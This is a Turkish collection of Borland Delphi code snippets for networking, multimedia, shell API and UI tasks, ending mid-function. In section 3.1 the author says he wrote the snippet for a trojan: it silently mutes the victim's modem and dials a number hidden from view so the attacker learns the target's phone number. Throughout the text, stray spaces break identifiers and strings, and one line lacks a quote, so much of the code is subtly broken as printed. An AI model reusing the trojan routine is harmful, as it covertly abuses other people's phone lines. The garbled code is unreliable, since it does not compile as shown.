Borland Delphi Kodlari

[Chucky]

1. Internet / Intranet
1.1 SMS Yollama By BLaCkSnOw

procedure TForm1.Button1Click(Sender: TObject);
function Cleanup( sText : string ) : string;
begin
// --
while ( pos( #13, sText ) > 0 ) do
sText[ pos( #13, sText ) ] := ' ';
while ( pos( #10, sText ) > 0 ) do
delete( sText, pos( #10, sText ), 1 );
result := sText;
end;
var
SoapClient: OleVariant;
v1,
v2,
v3: OleVariant;
begin
SoapClient := CreateOleObject('MSSOAP.SoapCl ient');
try
SoapClient.mssoapinit('http://sal006.salnetwork.com:83/lucin/smsmessaging/process.xml');
v1 := edtRes.text;
v2 := Cleanup( memBody.Lines.text );
v3 := edtSender.text;
SoapClient.SendTextMessage( v1, v2, v3 );
finally
SoapClient := null;
end;
end;
1.2 Ip Adresinden Herhangi Bir Bilgisayar Adının Bulunması

uses winsock;

Function IPAddrToName(IPAddr : String): String;
var
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
WSAData: TWSAData;
begin
WSAStartup($101, WSAData);
SockAddrIn.sin_addr.s_addr:= inet_addr(PChar(IPAddr));
HostEnt:= gethostbyaddr(@SockAddrIn.sin_ addr.S_addr, 4, AF_INET);
if HostEnt<>nil then
begin
result:=StrPas(Hostent^.h_name )
end
else
begin
result:='';
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption:=IPAddrToName(e dit1.text);
end;
1.3 Bilgisayarın IP Adresinin Alınması

uses Winsock;

Function DetectHostIP(var IP: string): Boolean;
var
wsdata : TWSAData;
hostName : array [0..255] of char;
hostEnt : PHostEnt;
addr : PChar;
begin
WSAStartup ($0101, wsdata);
try
gethostname (hostName, sizeof (hostName));
hostEnt := gethostbyname (hostName);
if Assigned (hostEnt) then
if Assigned (hostEnt^.h_addr_list) then begin
addr := hostEnt^.h_addr_list^;
if Assigned (addr) then begin
IP := Format ('%d.%d.%d.%d', [byte (addr [0]), byte (addr [1]), byte (addr [2]), byte (addr [3])]);
Result := True;
end
else
Result := False;
end
else
Result := False
else begin
Result := False;
end;
finally
WSACleanup;
end
end;

// Kullanimi:
procedure TForm1.Button1Click(Sender: TObject);
var IPAdres: string;
begin
if DetectHostIP(IPAdres) then
Label1.Caption := IpAdres
else
Label1.Caption := 'Ip Adresi alinamadi';
end;
1.4 Aktif Internet Explorer Penceresindeki Adres Bilgisinin Alınması

Function GetText(WindowHandle: hwnd):string;
var
txtLength : integer;
buffer: string;
begin
TxtLength := SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0, 0);
txtlength := txtlength + 1;
setlength (buffer, txtlength);
sendmessage (WindowHandle,wm_gettext, txtlength, longint(@buffer[1]));
result := buffer;
end;

Function GetURLFromIntExplorer:string;
var
ie,toolbar,combo,comboboxex,ed it,worker,
toolbarwindow:hwnd;
url:string;
begin
ie := FindWindow(pchar('IEFrame'),ni l);
worker := FindWindowEx(ie,0,'WorkerA',ni l);
toolbar := FindWindowEx(worker,0,'rebarwi ndow32',nil);
comboboxex := FindWindowEx(toolbar, 0, 'comboboxex32', nil);
combo := FindWindowEx(comboboxex,0,'Com boBox',nil);
edit := FindWindowEx(combo,0,'Edit',ni l);
toolbarwindow := FindWindowEx(comboboxex, 0, 'toolbarwindow32', nil);
url := gettext(edit);
result := url;
end;

// Kullanimi:
procedure TForm1.Button1Click(Sender: TObject);
begin
Edit1.Text := GetURLFromIntExplorer;
end;
1.5 Host Adından IP Adresini Bulmak

Function HostToIPAddr(Name: string; var Ip: string): Boolean;
var
wsdata : TWSAData;
hostName : array [0..255] of char;
hostEnt : PHostEnt;
addr : PChar;
begin
WSAStartup ($0101, wsdata);
try
gethostname (hostName, sizeof (hostName));
StrPCopy(hostName, Name);
hostEnt := gethostbyname (hostName);
if Assigned (hostEnt) then
if Assigned (hostEnt^.h_addr_list) then begin
addr := hostEnt^.h_addr_list^;
if Assigned (addr) then begin
IP := Format ('%d.%d.%d.%d', [byte (addr [0]), byte (addr [1]), byte (addr [2]), byte (addr [3])]);
Result := True;
end
else
Result := False;
end
else
Result := False
else begin
Result := False;
end;
finally
WSACleanup;
end
end;

// Kullanimi:
procedure TForm1.Button1Click(Sender: TObject);
var IP: string;
begin
if HostToIpAddr(Edit1.Text, IP) then
Label1.Caption := IP;
end;

[Chucky]

1.6 Bir internet Adresinin Ulaşılabilir Olup Olmadığını Kontrol Etmek

uses wininet;

Function CheckUrl(url:string):boolean;
var
hSession, hfile, hRequest: hInternet;
dwindex,dwcodelen :dword;
dwcode:array[1..20] of char;
res : pchar;
begin
if pos('http://',lowercase(url))=0 then
url := 'http://'+url;
Result := false;
hSession := InternetOpen('InetURL:/1.0',
INTERNET_OPEN_TYPE_PRECONFIG,n il, nil, 0);
if assigned(hsession) then
begin
hfile := InternetOpenUrl(hsession,pchar (url),
nil, 0, INTERNET_FLAG_RELOAD, 0);
dwIndex := 0;
dwCodeLen := 10;
HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE,
@dwcode, dwcodeLen, dwIndex);
res := pchar(@dwcode);
result:= (res ='200') or (res ='302');
if assigned(hfile) then
InternetCloseHandle(hfile);
InternetCloseHandle(hsession);
end;

end;

// Kullanimi:
procedure TForm1.Button1Click(Sender: TObject);
begin
if CheckUrl(Edit1.Text) then
Label1.Caption := 'Gecerli'
else
Label1.Caption := 'Gecersiz'
end;
1.7 Internetten Dosya Download Etmek

uses UrlMon;

Function DownloadFile(Source, Dest: string): Boolean;
begin
try
Result := UrlDownloadToFile(nil, PChar(source), PChar(Dest), 0, nil) = 0;
except
Result := False;
end;
end;

// Kullanimi:
procedure TForm1.Button1Click(Sender: TObject);
begin
if DownloadFile('http://www.delphiturk.com/messenger/messenger20.zip', 'c:\messenger20.zip') then
ShowMessage('Yükleme islemi basarili')
else
ShowMessage('Yükleme islemi basarisiz')
end;
1.8 TColor'in HTML Renk Kodu Karşılığını Bulma İşlemi

procedure TForm1.Button1Click(Sender: TObject);
var TheRgbValue : TColorRef;
begin
if ColorDialog1.Execute then
begin
TheRgbValue := ColorToRGB(ColorDialog1.Color) ;
Label1.Caption := Format('#%.2x%.2x%.2x',
[GetRValue(TheRGBValue),
GetGValue(TheRGBValue),
GetBValue(TheRGBValue)]);
end;
end;
1.9 Herhangi Bir İnternet Adresinin (HTTP, FTP, Bilgisayar Adi) Geçerli Olup Olmadığını Kontrol Etmek, IP

uses winsock;

Function HostToIPAddr(Name: string; var Ip: string): Boolean;
var
wsdata : TWSAData;
hostName : array [0..255] of char;
hostEnt : PHostEnt;
addr : PChar;
begin
WSAStartup ($0101, wsdata);
try
gethostname (hostName, sizeof (hostName));
StrPCopy(hostName, Name);
hostEnt := gethostbyname (hostName);
if Assigned (hostEnt) then
if Assigned (hostEnt^.h_addr_list) then begin
addr := hostEnt^.h_addr_list^;
if Assigned (addr) then begin
IP := Format ('%d.%d.%d.%d', [byte (addr [0]), byte (addr [1]), byte (addr [2]), byte (addr [3])]);
Result := True;
end
else
Result := False;
end
else
Result := False
else begin
Result := False;
end;
finally
WSACleanup;
end
end;

// Kullanimi:
procedure TForm1.Button1Click(Sender: TObject);
var IP: string;
begin
if HostToIpAddr(Edit1.Text, IP) then
ShowMessage(Format('Gecerli Adres. IP: %s', [IP]))
else ShowMessage('Gecerisiz adres');
end;
1.10 Kullanıcı Internete Bağlı Mı ?

Uses WinInet;

Function KullaniciOnlinemi:boolean;
var
Baglantidurumu:dword;
begin
Baglantidurumu := 2 {Network} +1 {Modem} + 4 {proxy} ;
result := InternetGetConnectedState(@Bag lantidurumu,0);
end;

{----------Kullanilmasina Örnek-----------}

if KullaniciOnlinemi = true then
ShowMessage('Kullanici Bagli')
else ShowMessage('Kullanici bagli degil!');
1.11 Internet Üzerinden 2 Bilgisayarı IP İle Bağlama

Dos Modda

NET USE X: \\DIGER_BILGISAYARIN_IP_NOSU\B AGLANILACAK_MAKINADAKI_PAYLASI MIN_ADI

ÖRN : NET USE X: \\212.258.64.1\C <ENTER>

ARTIK DIGER MAKINEYE X:\ OLARAK BAGLANABILIRSINIZ.

BAGLANILACAK MAKINA PAYLASIMA ACIK OLMALI
TCP/IP VE NeTBEUI YÜKLÜ OLMALI (HER IKI MAKINADADA)
2. MultiMedia / Grafik
2.1 Sistemin Kullanabileceği Renk Sayısının Bulunması

Garfik islemleri yaparken, sistemde gecerli olan renk ayarina ihtiyac olabilir. Asagidaki fonksiyon sistemin desteklemekte oldugu renk sayisini bulmaktadir.

Function GetColorsCount : integer;
var
h : hDC;
begin
Result := 0;
try
h := GetDC( 0 );
Result :=1 shl (GetDeviceCaps(h, PLANES) *
GetDeviceCaps(h, BITSPIXEL));
finally
ReleaseDC( 0, h );
end;
end;

[Chucky]

.2 Avi Dosyalarını Fullscreen Oynatma( Aviden Başka Da Olabilir)

Gerekenler:
1 Mediaplayer
2 Button
3 Panel "aligin cilent olacak"

procedure TForm1.Button1Click(Sender: TObject);
begin
MediaPlayer1.FileName:='c:\han ds.avi';
MediaPlayer1.Open;
MediaPlayer1.Display := panel1;
MediaPlayer1.DisplayRect := Rect(0 , 0, Form1.Clientwidth, Form1.ClientHeight); //avi dosyasını panel e yayarak genişletme komutu//
MediaPlayer1.Play;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
button1.click ;
end;

end.
2.3 TMetaFile (Wmf, Emf) Üzerinde Nasıl Değişiklik Yapılır ?

{ TMetaFile'in TBitmap gibi bir canvas'i yok. Bu yüzden canvas'i bizim oluşturmamız gerekiyor}

procedure TForm1.Button1Click(Sender: TObject);
var WMFFile: TMetaFile;
begin
WMFFile := TMetaFile.Create;
with TMetafileCanvas.Create(WMFFile , 0) do
try
Brush.Color := clRed;
Ellipse(0,0,100,100);
finally
Free;
end;
Form1.Canvas.Draw(0,0,WMFFile) ; (* 1 red circle *)

// Var olan bir Metafile'a degisiklik yapmak icin
with TMetafileCanvas.Create(WMFFile , 0) do
try
Draw(0,0,WMFFile);
Brush.Color := clBlue;
Ellipse(100,100,200,200);
finally
Free;
end;
Form1.Canvas.Draw(0,0,WMFFile) ; (* 1 red circle and 1 blue circle *)
WMFFile.SaveToFile('C:\deneme. wmf');
Image1.Picture.LoadFromFile('C :\deneme.wmf');
WMFFile.Free;
end;
2.4 Bitmap'in İstenilen Koordinatlarını Kopyalamak ve Clipboard'a Göndermek

uses
Clipbrd;

{
Image1'nin (5, 5) koordinatlarından başlayarak 50 pixel
Genişliğinde ve yüksekliğinde bir alanı image2'ye kopyalar ve
kopyalanan alanı clipboard'a gönderir.
}
procedure TForm1.Button1Click(Sender: TObject);
const
CopyWidth = 50; // kopyalanacak genişlik
CopyHeight = 50; // kopyalanacak yükseklik
var
MyFormat : Word;
AData: THandle;
APalette: HPalette;
begin
Image2.Picture.Bitmap.Width := CopyWidth;
Image2.Picture.Bitmap.Height := CopyHeight;
Image2.Picture.Bitmap.Canvas.C opyRect(Rect(0, 0, CopyWidth, CopyHeight), Image1.Picture.Bitmap.Canvas, Rect(5, 5, CopyWidth + 5, CopyHeight + 5));
Image2.Picture.Bitmap.SaveToCl ipboardFormat(MyFormat,AData,A Palette);
ClipBoard.SetAsHandle(MyFormat ,AData);
end;
2.5 Windows Ekranında Yer Alan Bir Bölümün Mouse Hareketlerine Göre Alınmasi Ve Büyütülmesi

{Form'a bit TTimer koyun ve Interval = 25 olsun.}

procedure TForm1.Timer1Timer(Sender: TObject);
var
Srect,Drect,PosForme:TRect;
iWidth,iHeight,DmX,DmY:Integer ;
iTmpX,iTmpY:Real;
C:TCanvas;
Kursor:TPoint;
ZoomFactor: Integer;
begin
GetCursorPos(Kursor);
PosForme:=Rect(Form1.Left,Form 1.Top,Form1.Left+Form1.Width,F orm1.Top+Form1.Height);
If not PtInRect(PosForme,Kursor) then
begin
If Panel1.Visible=True then Panel1.Visible:=False;
If Image1.Visible=False then Image1.Visible:=True;
iWidth:=Image1.Width;
iHeight:=Image1.Height;
Drect:=Rect(0,0,iWidth,iHeight );

{ 2x kadar büyütür. 4x icin 2, ...}
ZoomFactor := 1;
iTmpX:=iWidth / (ZoomFactor * 4);
iTmpY:=iHeight / (ZoomFactor * 4);

Srect:=Rect(Kursor.x,Kursor.y, Kursor.x,Kursor.y);
InflateRect(Srect,Round(iTmpX) ,Round(iTmpY));
// move Srect if outside visible area of the screen
If Srect.Left<0 then OffsetRect(Srect,-Srect.Left,0);
If Srect.Top<0 then OffsetRect(Srect,0,-Srect.Top);
If Srect.Right>Screen.Width then OffsetRect(Srect,-(Srect.Right-Screen.Width),0);
If Srect.Bottom>Screen.Height then OffsetRect(Srect,0,-(Srect.Bottom-Screen.Height));
C:=TCanvas.Create;
try
C.Handle:=GetDC(GetDesktopWind ow);
Image1.Canvas.CopyRect(Drect,C ,Srect);
finally
C.Free;
end;
Application.ProcessMessages;
end // Cursor Form'un icinde degil
else
begin // cursor Form'un icinde
If Panel1.Visible=False then Panel1.Visible:=True;
If Image1.Visible=True then Image1.Visible:=False;
end;
end;
2.6 CD Sürücünün Kapağını Açmak Ve Kapatmak

uses MMSystem;

// Ac
Procedure OpenDoor;
Begin
mciSendString('Set cdaudio door open', nil, 0, 0);
End;

// Kapat
Procedure CloseDoor;
Begin
mciSendString('Set cdaudio door closed', nil, 0, 0);
End;

//Kullanimi:
procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDoor;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Closedoor;
end;
2.7 Sistemde Ses Kartı Var Mı Yok Mu Nasıl Anlaşılır

Uses
MMSystem;

Function IsSoundCardInstalled:Boolean;
Begin
Result:=(waveOutGetNumDevs>0);
End;
2.8 Wav müzik dosyasının TMediaPlayer kullanmadan çalınması.

Function PlayWavFile(const FileName: string): Boolean;
begin
Result := PlaySound(PChar(FileName), 0, SND_ASYNC);
end;

// O anda sistem tarafindan calinan sesi durdurur
procedure StopWav;
var buffer: array[0..2] of char;
begin
buffer[0] := #0;
PlaySound(Buffer, 0, SND_PURGE);
end;

II. Yol

Uses MMSystem

PlaySound(PChar('C:\ibo\Ses\EX PL.Wav'),0, snd_async);
3. Windows / Shell Api
3.1 Telefonun Sesinin Kısılması Ve İstenilen Numaranın Gizlice Aranması.

// Trojan yazarken kullanmıştım. Client böylece Hedef'in telefon numarasını gizlice öğrenebilyordu.

Procedure Button1.Click(sender:TObject);
var
no:string;
begin
no:='command.com /k echo ATDT05327000000';
winexec ('command.com /k echo AT&F1M0 > com3');
// Com3 benim modemin Com portu. Gonderilen
// string HAYES
// komut sistemini içeren modemlerde modemin
// sesini kısar.
winexec(pChar(No),SW_HIDE);
end;
3.2 Formu İstenilen Bir Objeden Sürükleme

// Bunu bir objenin on mousedown eventina koyarsanız
// ve bu kodu eklerseniz o objeye tıklayıp formu
// sürükleyebilirsiniz
begin
if Button = mbLeft then
begin
ReleaseCapture;
SendMessage(Handle,WM_SYSCOMMA ND,SC_MOVE+1,0);
end;
end;
3.3 Ayrı Bir Dosya (Program) Nasıl Çalıştırılır? Print Edilir?

// Ayrı bir dosya (program) nasıl çalıştırılır?
// Herhangi bir programı çalıştırmak için

ShellExecute(Handle, 'open', PChar('c:\test\Tanz_AnthroX.ex e'), nil, nil, SW_SHOW);

//NOTEPAD'I çalıştırmak

ShellExecute(Handle, 'open', PChar('notepad'), nil, nil, SW_SHOW);

//NOTEPAD'e BeniOku.TXT dosyasını açtırmak

ShellExecute(Handle, 'open', PChar('notepad'), PChar('c:\AnthroX\benioku.txt' , nil, SW_SHOW);

//Web sayfasını açtırmak

ShellExecute(Handle, 'open', PChar('http://www.delphiturk.com/'), nil, nil, SW_SHOW);

//Print ettirmek

ShellExecute(Handle, 'print', PChar('c:\test\readme.txt'), nil, nil, SW_SHOW);

//WINDOWS EXPLORER la dizinlere bakmak

ShellExecute(Handle, 'explore', PChar('c:\windows)', nil, nil, SW_SHOW);
3.4 Listbox Bileşenlerinde Renkli Satırlar

Bir Tlistbox içerisinde bulunan satırların, belli şartlara göre farklı renklerde olması mümkündür. Aşağıdaki kod
örneğinde bunun yapılışı gösterilmektedir. Dikkat edilmesi gereken en önemli husus, Listbox bileşeninin Style özelliği lbOwnerDrawFixed olmalıdır.

//Style= lbOwnerDrawFixed olmalı…

procedure TForm1.ListBox1DrawItem(Contro l: TWinControl;
Index: Integer; Rect: TRect; State:
TOwnerDrawState);
begin
With ( Control As TListBox ).Canvas Do
Begin
Case Index Of
0:
Begin
Font.Color := clBlue;
Brush.Color := clYellow;
End;
1:
Begin
Font.Color := clRed;
Brush.Color := clLime;
End;
2:
Begin
Font.Color := clGreen;
Brush.Color := clFuchsia;
End;
End;
FillRect(Rect);
TextOut(Rect.Left, Rect.Top, ( Control As TListBox).Items[Index]);
End;
end;

[Chucky]

3.5 Formun Caption Alanına Button Eklemek

Kullandığınız formların başlık alanına button ekleyip, bu buttona bazı görevler yükleyebilirsiniz.

unit CapBtn;

interface

uses
Windows, Buttons, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs;

type
TForm1 = class(TForm)
procedure FormResize(Sender: TObject);
private
CaptionBtn : TRect;
procedure DrawCaptButton;
procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPaint;
procedure WMNCActivate(var Msg : TWMNCActivate); message WM_NCACTIVATE;
procedure WMSetText(var Msg : TWMSetText); message WM_SETTEXT;
procedure WMNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST;
procedure WMNCLButtonDown(var Msg : TWMNCLButtonDown);
message WM_NCLBUTTONDOWN;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

const
htCaptionBtn = htSizeLast + 1;
{$R *.DFM}

procedure TForm1.DrawCaptButton;
var
xFrame,
yFrame,
xSize,
ySize : Integer;
R : TRect;
begin
// Form eni ve boyu
xFrame := GetSystemMetrics(SM_CXFRAME);
yFrame := GetSystemMetrics(SM_CYFRAME);

//Baslik butonlarinin eni ve boyu
xSize := GetSystemMetrics(SM_CXSIZE);
ySize := GetSystemMetrics(SM_CYSIZE);

//Yeni butonun yeri
CaptionBtn := Bounds(Width - xFrame - 4*xSize + 2,
yFrame + 2, xSize - 2, ySize - 4);

// Forma ait DC 'yi kullanarak,
// üzerine cizim yapilacak tuvali bul

Canvas.Handle := GetWindowDC(Self.Handle);
Canvas.Font.Name := 'Symbol';
Canvas.Font.Color := clBlue;
Canvas.Font.Style := [fsBold];
Canvas.Pen.Color := clYellow;
Canvas.Brush.Color := clBtnFace;

try
DrawButtonFace(Canvas, CaptionBtn, 1, bsAutoDetect,
False, False, False);
R := Bounds(Width - xFrame - 4 * xSize + 2,
yFrame + 3, xSize - 6, ySize - 7);
with CaptionBtn do
Canvas.TextRect(R, R.Left + 2, R.Top - 1, 'W');
finally
ReleaseDC(Self.Handle, Canvas.Handle);
Canvas.Handle := 0;
end;
end;

procedure TForm1.WMNCPaint(var Msg : TWMNCPaint);
begin
inherited;
DrawCaptButton;
end;

procedure TForm1.WMNCActivate(var Msg : TWMNCActivate);
begin
inherited;
DrawCaptButton;
end;

procedure TForm1.WMSetText(var Msg : TWMSetText);
begin
inherited;
DrawCaptButton;
end;

procedure TForm1.WMNCHitTest(var Msg : TWMNCHitTest);
begin
inherited;
with Msg do
if PtInRect(CaptionBtn, Point(XPos - Left, YPos - Top))
then
Result := htCaptionBtn;
end;

procedure TForm1.WMNCLButtonDown(var Msg : TWMNCLButtonDown);
begin
inherited;
if (Msg.HitTest = htCaptionBtn) then
ShowMessage('Hoops... yeni butona bastin');
end;


procedure TForm1.FormResize(Sender: TObject);
begin
// Başlık çubuğunun yeniden çizilmesini sağla
Perform(WM_NCACTIVATE, Word(Active), 0);
end;

end.
3.6 Masaüstündeki İkonlarin Gizlenmesi

Aşağıdaki program calistirildiginda, görev çubuğu üzerindeki uyarı bölümünde bir ikon olarak görünür. Bu
ikon üzerinde tıklandığında desktop üzerindeki ikonlar saklanır, bir kez daha basıldığında ise geri gelir.

program DeskPop;

uses
Windows, Messages, ShellAPI, sysutils;

{$R *.RES}

const
AppName = 'DeskTop Sakla';

var
x: integer;
tid: TNotifyIconData;
WndClass: array[0..50] of char;

procedure Panic (szMessage: PChar);
begin
if szMessage <> Nil then
MessageBox (0, szMessage, AppName, mb_ok);
Halt (0);
end;

procedure HandleCommand (Wnd: hWnd; Cmd: Word);
begin
case Cmd of
Ord ('A'): MessageBox (0, 'Merhaba', AppName, mb_ok);
Ord ('E'): PostMessage (Wnd, wm_Close, 0, 0);
end;
end;

Function DummyWindowProc (Wnd: hWnd; Msg, wParam: Word;
lParam: LongInt): LongInt; stdcall;
var
TrayHandle: THandle;
dc: hDC;
i: Integer;
pm: HMenu;
pt: TPoint;
begin
DummyWindowProc := 0;
StrPCopy(@WndClass[0], 'Progman');
TrayHandle := FindWindow(@WndClass[0], nil);
case Msg of
wm_Create:
begin
tid.cbSize := sizeof (tid);
tid.Wnd := Wnd;
tid.uID := 1;
tid.uFlags := nif_Message or nif_Icon or
nif_Tip;
tid.uCallBackMessage := wm_User;
tid.hIcon := LoadIcon (hInstance,
'MAINICON');
lstrcpy (tid.szTip,'Desktop is on');
Shell_NotifyIcon (nim_Add, @tid);
end;
wm_Destroy:
begin
Shell_NotifyIcon (nim_Delete, @tid);
PostQuitMessage (0);
ShowWindow(TrayHandle, SW_RESTORE);
end;
wm_Command:
begin
HandleCommand (Wnd, LoWord (wParam));
Exit;
end;
wm_User: // Had a tray notification - see what to do
if (lParam = wm_LButtonDown) then
begin
if x = 0 then
begin
ShowWindow(TrayHandle, SW_HIDE);
//tid.hIcon := LoadIcon (hInstance, 'offICON');
lstrcpy (tid.szTip,'Desktop Kapali');
Shell_NotifyIcon (NIM_MODIFY, @tid);
x:=1
end else
begin
ShowWindow(TrayHandle, SW_RESTORE);
//tid.hIcon := LoadIcon (hInstance, 'ONICON');
lstrcpy (tid.szTip,'Desktop Acik');
Shell_NotifyIcon (NIM_MODIFY, @tid);
x:= 0;
end;
end else
if (lParam = wm_RButtonDown) then
begin
GetCursorPos (pt);
pm := CreatePopupMenu;
AppendMenu (pm, 0, Ord ('A'), 'Hakkinda...');
AppendMenu (pm, mf_Separator, 0, Nil);
AppendMenu (pm, 0, Ord ('E'), 'Kapat');
SetForegroundWindow (Wnd);
dc := GetDC (0);
if TrackPopupMenu (pm, tpm_BottomAlign or tpm_RightAlign,
pt.x,GetDeviceCaps(dc,HORZRES) {pt.y}, 0, Wnd, Nil) then
SetForegroundWindow (Wnd);
DestroyMenu (pm)
end;
end;

DummyWindowProc := DefWindowProc (Wnd, Msg, wParam, lParam);
end;

procedure WinMain;
var
Wnd: hWnd;
Msg: TMsg;
cls: TWndClass;
begin
{ Previous instance running ? If so, exit }
if FindWindow (AppName, Nil) <> 0 then exit;
//Panic (AppName + ' is already running.');

{ window Sinifini kaydettir }
FillChar (cls, sizeof (cls), 0);
cls.lpfnWndProc := @DummyWindowProc;
cls.hInstance := hInstance;
cls.lpszClassName := AppName;
RegisterClass (cls);

{ Bos pencereyi yarat }
Wnd := CreateWindow (AppName, AppName,
ws_OverlappedWindow,
cw_UseDefault, cw_UseDefault,
cw_UseDefault, cw_UseDefault,
0, 0, hInstance, Nil);
x:= 0;
if Wnd <> 0 then
begin
ShowWindow (Wnd, sw_Hide);
while GetMessage (Msg, 0, 0, 0) do
begin
TranslateMessage (Msg);
DispatchMessage (Msg);
end;
end;
end;

begin
WinMain;
end.

[Chucky]

3.7 İşletim Sistemi Tipinin Alınması (Windows 95, NT)

if Win32Platform = VER_PLATFORM_WIN32_NT then
ShowMessage('NT isletim sistemi')
else
if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
ShowMessage(95/98/ME Sürümü')
3.8 Programın Aynı Anda Sadece 1 Kez Çalışması

Function AlreadyLoaded: Boolean;
var wHandle: Integer;
wTitle: array [0..100] of Char;
wClass: array [0..100] of Char;
begin
StrPCopy(wTitle, Application.Title);
StrPCopy(wClass, 'TApplication');
Application.Title := '$Test$';
wHandle := findWindow(wClass, wTitle);
Application.Title := wTitle;
Result := wHandle <> 0;
if Result then
begin
ShowWindow(wHandle, SW_SHOWNORMAL);
SetForegroundWindow(wHandle);
end;
end;
3.9 Popup Menuyu Kod Ile Gösterme Mouse’un Bulunduğu Pozisyonun Alınaması

procedure OpenPopupMenu( aPopupMenu : TPopupMenu);
var p : TPoint;
begin
GetCursorPos(p);// mouse 'in bulundugu yer aliniyor
aPopupMenu.Popup(p.x, p.y);//popup menu aciliyor
end;

// kullanimi

procedure TForm1.Button1Click(Sender: TObject);
begin
OpenPopupMenu( PopupMenu1);
end;
3.10 Internet Bağlantı Tipinin Bulunması

Function ConnectionKind :boolean;
var
flags: dword;
begin
Result := InternetGetConnectedState(@fla gs, 0);
if Result then
begin
if (flags and INTERNET_CONNECTION_MODEM) = INTERNET_CONNECTION_MODEM then
begin
showmessage('Modem');
end;
if (flags and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then
begin
showmessage('LAN');
end;
if (flags and INTERNET_CONNECTION_PROXY) = INTERNET_CONNECTION_PROXY then
begin
showmessage('Proxy');
end;
if (flags and INTERNET_CONNECTION_MODEM_BUSY )=INTERNET_CONNECTION_MODEM_BU SY then
begin
showmessage('Modem Busy');
end;
end;
end;

// kullanımı .............................. ......................

procedure TForm1.Button3Click(Sender: TObject);
begin
ConnectionKind ;
end;
3.11 Hdd Seri(Fabrika) Numarası Alınması

Function GetIdeSerialNumber ():string;
const IDENTIFY_BUFFER_SIZE = 512;
type
TIDERegs = packed record
bFeaturesReg : BYTE; // Used for specifying
// SMART "commands".
bSectorCountReg : BYTE; // IDE sector count
// register
bSectorNumberReg : BYTE; // IDE sector number
// register
bCylLowReg : BYTE; // IDE low order
// cylinder value
bCylHighReg : BYTE; // IDE high order
//cylinder value
bDriveHeadReg : BYTE; // IDE drive/head
//register
bCommandReg : BYTE; // Actual IDE
//command.
bReserved : BYTE; // reserved for future
//use. Must be zero.
end;

TSendCmdInParams = packed record
// Buffer size in bytes
cBufferSize : DWORD;
// Structure with drive register values.
irDriveRegs : TIDERegs;
// Physical drive number to send command to (0,1,2,3).
bDriveNumber : BYTE;
bReserved : Array [0..2] of Byte;
dwReserved : Array [0..3] of DWORD;
bBuffer : Array [0..0] of Byte; // Input
//buffer.
end;

TIdSector = packed record
wGenConfig : Word;
wNumCyls : Word;
wReserved : Word;
wNumHeads : Word;
wBytesPerTrack : Word;
wBytesPerSector : Word;
wSectorsPerTrack : Word;
wVendorUnique : Array[0..2] of Word;
sSerialNumber : Array[0..19] of
CHAR;
wBufferType : Word;
wBufferSize : Word;
wECCSize : Word;
sFirmwareRev : Array[0..7] of Char;
sModelNumber : Array[0..39] of
Char;
wMoreVendorUnique : Word;
wDoubleWordIO : Word;
wCapabilities : Word;
wReserved1 : Word;
wPIOTiming : Word;
wDMATiming : Word;
wBS : Word;
wNumCurrentCyls : Word;
wNumCurrentHeads : Word;
wNumCurrentSectorsPerTrack : Word;
ulCurrentSectorCapacity : DWORD;
wMultSectorStuff : Word;
ulTotalAddressableSectors : DWORD;
wSingleWordDMA : Word;
wMultiWordDMA : Word;
bReserved : Array [0..127] of
BYTE;
end;

PIdSector = ^TIdSector;
TDriverStatus = packed record
// Error code from driver, or 0 if no error.
bDriverError : Byte;
// Contents of IDE Error register. Only valid
// when bDriverError is SMART_IDE_ERROR.
bIDEStatus : Byte;
bReserved : Array [0..1] of Byte;
dwReserved : Array [0..1] of DWORD;
end;
TSendCmdOutParams = packed record
// Size of bBuffer in bytes
cBufferSize : DWORD;
// Driver status structure.
DriverStatus : TDriverStatus;
// Buffer of arbitrary length in which to store the data read from the drive.
bBuffer : Array [0..0] of BYTE;
end;

var
hDevice : THandle;
cbBytesReturned : DWORD;
ptr : PChar;
SCIP : TSendCmdInParams;
aIdOutCmd : Array [0..(SizeOf(TSendCmdOutParams)+ IDENTIFY_BUFFER_SIZE-1)-1] of Byte;
IdOutCmd : TSendCmdOutParams absolute aIdOutCmd;

procedure ChangeByteOrder( var Data; Size : Integer );
var ptr : PChar;
i : Integer;
c : Char;

begin
ptr := @Data;
for i := 0 to (Size shr 1)-1 do
begin
c := ptr^;
ptr^ := (ptr+1)^;
(ptr+1)^ := c;
Inc(ptr,2);
end;
end;

begin
Result := ''; // return empty string on error
if SysUtils.Win32Platform=VER_PLA TFORM_WIN32_NT then // Windows NT, Windows 2000
begin
// warning! change name for other drives: ex.:
// second drive '\\.\PhysicalDrive1\'
hDevice := CreateFile( '\\.\PhysicalDrive0', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0 );
end
else // Version Windows 95 OSR2, Windows 98
hDevice := CreateFile( '\\.\SMARTVSD', 0, 0, nil, CREATE_NEW, 0, 0 );
if hDevice=INVALID_HANDLE_VALUE then Exit;
try
FillChar(SCIP,SizeOf(TSendCmdI nParams)-1,#0);
FillChar(aIdOutCmd,SizeOf(aIdO utCmd),#0);
cbBytesReturned := 0;
// Set up data structures for IDENTIFY command.
with SCIP do
begin
cBufferSize := IDENTIFY_BUFFER_SIZE;
// bDriveNumber := 0;
with irDriveRegs do
begin
bSectorCountReg := 1;
bSectorNumberReg := 1;
// if Win32Platform=VER_PLATFORM_WIN 32_NT then bDriveHeadReg := $A0
// else bDriveHeadReg := $A0 or ((bDriveNum
//and 1) shl 4);

bDriveHeadReg := $A0;
bCommandReg := $EC;
end;
end;
if not DeviceIoControl( hDevice, $0007c088, @SCIP, SizeOf(TSendCmdInParams)-1,
@aIdOutCmd, SizeOf(aIdOutCmd), cbBytesReturned, nil ) then Exit;
finally
CloseHandle(hDevice);
end;
with PIdSector(@IdOutCmd.bBuffer)^ do
begin
ChangeByteOrder( sSerialNumber, SizeOf(sSerialNumber) );
